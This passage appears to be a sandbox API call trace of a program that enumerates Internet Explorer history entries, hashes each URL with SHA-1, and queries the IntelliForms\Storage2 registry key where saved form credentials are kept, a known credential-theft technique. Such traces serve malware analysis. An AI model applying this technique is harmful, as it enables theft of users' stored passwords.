phkResult=0x54df8a0*=0x0) returned 0x2 [0098.063] LocalFree (hMem=0x28e7670) returned 0x0 [0098.063] CoTaskMemFree (pv=0x7211dd0) [0098.064] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.064] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/BEwDL2lhD.jpg", lpSrch="?") returned 0x0 [0098.064] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444e860) returned 1 [0098.064] CryptCreateHash (in: hProv=0x444e860, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.064] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/BEwDL2lhD.jpg") returned 85 [0098.064] CryptHashData (hHash=0x4471650, pbData=0x7290930, dwDataLen=0xac, dwFlags=0x0) returned 1 [0098.064] CryptGetHashParam (in: hHash=0x4471650, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.064] CryptDestroyHash (hHash=0x4471650) returned 1 [0098.064] CryptReleaseContext (hProv=0x444e860, dwFlags=0x0) returned 1 [0098.064] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.064] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.065] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.065] LocalFree (hMem=0x28e7910) returned 0x0 [0098.065] CoTaskMemFree (pv=0x7290930) [0098.065] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.065] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/yUidHJTCMwIHB.mkv", lpSrch="?") returned 0x0 [0098.065] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ea60) returned 1 [0098.065] CryptCreateHash (in: hProv=0x444ea60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.065] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/yUidHJTCMwIHB.mkv") returned 50 [0098.065] CryptHashData (hHash=0x44692a0, pbData=0x44716c0, dwDataLen=0x66, dwFlags=0x0) returned 1 [0098.066] CryptGetHashParam (in: hHash=0x44692a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.066] CryptDestroyHash (hHash=0x44692a0) returned 1 [0098.066] CryptReleaseContext (hProv=0x444ea60, dwFlags=0x0) returned 1 [0098.066] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.066] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.066] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.066] LocalFree (hMem=0x28e7670) returned 0x0 [0098.066] CoTaskMemFree (pv=0x44716c0) [0098.066] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.066] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XVVo133TnKkCQ.xlsx", lpSrch="?") returned 0x0 [0098.066] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ec60) returned 1 [0098.067] CryptCreateHash (in: hProv=0x444ec60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.067] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XVVo133TnKkCQ.xlsx") returned 54 [0098.067] CryptHashData (hHash=0x44716c0, pbData=0x71e4ea0, dwDataLen=0x6e, dwFlags=0x0) returned 1 [0098.067] CryptGetHashParam (in: hHash=0x44716c0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.067] CryptDestroyHash (hHash=0x44716c0) returned 1 [0098.067] CryptReleaseContext (hProv=0x444ec60, dwFlags=0x0) returned 1 [0098.067] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.067] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.067] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.067] LocalFree (hMem=0x28e7910) returned 0x0 [0098.067] CoTaskMemFree (pv=0x71e4ea0) [0098.067] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.067] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aKbv1Oo1ETirSfd1q%20gy.pdf", lpSrch="?") returned 0x0 [0098.067] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ec60) returned 1 [0098.068] CryptCreateHash (in: hProv=0x444ec60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.068] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aKbv1Oo1ETirSfd1q%20gy.pdf") returned 76 [0098.068] CryptHashData (hHash=0x44716c0, pbData=0x71cfe00, dwDataLen=0x9a, dwFlags=0x0) returned 1 [0098.068] CryptGetHashParam (in: hHash=0x44716c0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.068] CryptDestroyHash (hHash=0x44716c0) returned 1 [0098.068] CryptReleaseContext (hProv=0x444ec60, dwFlags=0x0) returned 1 [0098.068] CoTaskMemFree (pv=0x71cfe00) [0098.068] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.068] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/ZdbtJVvb-6FXnFWxnrvN.xlsx", lpSrch="?") returned 0x0 [0098.068] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ec60) returned 1 [0098.069] CryptCreateHash (in: hProv=0x444ec60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.069] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/ZdbtJVvb-6FXnFWxnrvN.xlsx") returned 61 [0098.069] CryptHashData (hHash=0x44716c0, pbData=0x437ef00, dwDataLen=0x7c, dwFlags=0x0) returned 1 [0098.069] CryptGetHashParam (in: hHash=0x44716c0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.069] CryptDestroyHash (hHash=0x44716c0) returned 1 [0098.069] CryptReleaseContext (hProv=0x444ec60, dwFlags=0x0) returned 1 [0098.069] CoTaskMemFree (pv=0x437ef00) [0098.069] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.069] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/hKwg8OaHHgS.xlsx", lpSrch="?") returned 0x0 [0098.069] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ee60) returned 1 [0098.070] CryptCreateHash (in: hProv=0x444ee60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.070] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/hKwg8OaHHgS.xlsx") returned 50 [0098.070] CryptHashData (hHash=0x4469e70, pbData=0x4469d20, dwDataLen=0x66, dwFlags=0x0) returned 1 [0098.070] CryptGetHashParam (in: hHash=0x4469e70, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.070] CryptDestroyHash (hHash=0x4469e70) returned 1 [0098.070] CryptReleaseContext (hProv=0x444ee60, dwFlags=0x0) returned 1 [0098.070] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.070] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.070] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.070] LocalFree (hMem=0x28e7670) returned 0x0 [0098.070] CoTaskMemFree (pv=0x4469d20) [0098.070] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.070] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/T5dulIYQq84F0WjyJUxJ.ppt", lpSrch="?") returned 0x0 [0098.070] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.071] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.071] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/T5dulIYQq84F0WjyJUxJ.ppt") returned 66 [0098.071] CryptHashData (hHash=0x4469d20, pbData=0x437fda0, dwDataLen=0x86, dwFlags=0x0) returned 1 [0098.071] CryptGetHashParam (in: hHash=0x4469d20, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.071] CryptDestroyHash (hHash=0x4469d20) returned 1 [0098.071] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.071] CoTaskMemFree (pv=0x437fda0) [0098.071] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.071] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/MfwyTnE4iFa5h9ugGQrN.pdf", lpSrch="?") returned 0x0 [0098.071] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.072] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.072] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/MfwyTnE4iFa5h9ugGQrN.pdf") returned 74 [0098.072] CryptHashData (hHash=0x4469d20, pbData=0x28c90c0, dwDataLen=0x96, dwFlags=0x0) returned 1 [0098.072] CryptGetHashParam (in: hHash=0x4469d20, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.072] CryptDestroyHash (hHash=0x4469d20) returned 1 [0098.072] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.072] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.072] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.072] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.072] LocalFree (hMem=0x28e7910) returned 0x0 [0098.072] CoTaskMemFree (pv=0x28c90c0) [0098.072] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.072] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/SjLKY_5Dm-8SOC.xls", lpSrch="?") returned 0x0 [0098.072] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.073] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.073] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/SjLKY_5Dm-8SOC.xls") returned 68 [0098.073] CryptHashData (hHash=0x44694d0, pbData=0x28c7400, dwDataLen=0x8a, dwFlags=0x0) returned 1 [0098.073] CryptGetHashParam (in: hHash=0x44694d0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.073] CryptDestroyHash (hHash=0x44694d0) returned 1 [0098.073] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.073] CoTaskMemFree (pv=0x28c7400) [0098.073] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.073] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/mn2%20LcY4GUIecD_.bmp", lpSrch="?") returned 0x0 [0098.073] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.074] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.074] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/mn2%20LcY4GUIecD_.bmp") returned 63 [0098.074] CryptHashData (hHash=0x44516f0, pbData=0x7223c80, dwDataLen=0x80, dwFlags=0x0) returned 1 [0098.074] CryptGetHashParam (in: hHash=0x44516f0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.074] CryptDestroyHash (hHash=0x44516f0) returned 1 [0098.074] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.074] CoTaskMemFree (pv=0x7223c80) [0098.074] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.074] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/l1bgOIHxE2P.jpg", lpSrch="?") returned 0x0 [0098.074] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.075] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.075] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/l1bgOIHxE2P.jpg") returned 67 [0098.075] CryptHashData (hHash=0x44516f0, pbData=0x7182c80, dwDataLen=0x88, dwFlags=0x0) returned 1 [0098.075] CryptGetHashParam (in: hHash=0x44516f0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.075] CryptDestroyHash (hHash=0x44516f0) returned 1 [0098.075] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.075] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.075] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.075] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.075] LocalFree (hMem=0x28e7670) returned 0x0 [0098.075] CoTaskMemFree (pv=0x7182c80) [0098.075] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.075] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/PTsUdLj.xlsx", lpSrch="?") returned 0x0 [0098.075] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.076] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.076] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/PTsUdLj.xlsx") returned 48 [0098.076] CryptHashData (hHash=0x4470cb0, pbData=0x4470d90, dwDataLen=0x62, dwFlags=0x0) returned 1 [0098.076] CryptGetHashParam (in: hHash=0x4470cb0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.076] CryptDestroyHash (hHash=0x4470cb0) returned 1 [0098.076] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.076] CoTaskMemFree (pv=0x4470d90) [0098.076] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.076] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/KBQZNG4i7j8.ots", lpSrch="?") returned 0x0 [0098.076] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.077] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.077] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/KBQZNG4i7j8.ots") returned 65 [0098.077] CryptHashData (hHash=0x4470d90, pbData=0x7183190, dwDataLen=0x84, dwFlags=0x0) returned 1 [0098.077] CryptGetHashParam (in: hHash=0x4470d90, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.077] CryptDestroyHash (hHash=0x4470d90) returned 1 [0098.077] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.077] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.077] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.077] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.077] LocalFree (hMem=0x28e7910) returned 0x0 [0098.077] CoTaskMemFree (pv=0x7183190) [0098.077] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.077] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/_IJOcqcmeHFr9tYfyh.pptx", lpSrch="?") returned 0x0 [0098.077] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.078] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.078] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/_IJOcqcmeHFr9tYfyh.pptx") returned 59 [0098.078] CryptHashData (hHash=0x4470d90, pbData=0x447b870, dwDataLen=0x78, dwFlags=0x0) returned 1 [0098.078] CryptGetHashParam (in: hHash=0x4470d90, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.078] CryptDestroyHash (hHash=0x4470d90) returned 1 [0098.078] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.078] CoTaskMemFree (pv=0x447b870) [0098.078] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.078] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/NIMuK7.xlsx", lpSrch="?") returned 0x0 [0098.078] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.149] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.149] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/NIMuK7.xlsx") returned 57 [0098.149] CryptHashData (hHash=0x4451450, pbData=0x447baf0, dwDataLen=0x74, dwFlags=0x0) returned 1 [0098.149] CryptGetHashParam (in: hHash=0x4451450, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.150] CryptDestroyHash (hHash=0x4451450) returned 1 [0098.150] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.150] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.150] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.150] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.150] LocalFree (hMem=0x28e7670) returned 0x0 [0098.150] CoTaskMemFree (pv=0x447baf0) [0098.150] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.150] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/99en0joo4697S6Ply8c.jpg", lpSrch="?") returned 0x0 [0098.150] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.151] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.151] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/99en0joo4697S6Ply8c.jpg") returned 65 [0098.151] CryptHashData (hHash=0x4451450, pbData=0x442fe70, dwDataLen=0x84, dwFlags=0x0) returned 1 [0098.151] CryptGetHashParam (in: hHash=0x4451450, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.151] CryptDestroyHash (hHash=0x4451450) returned 1 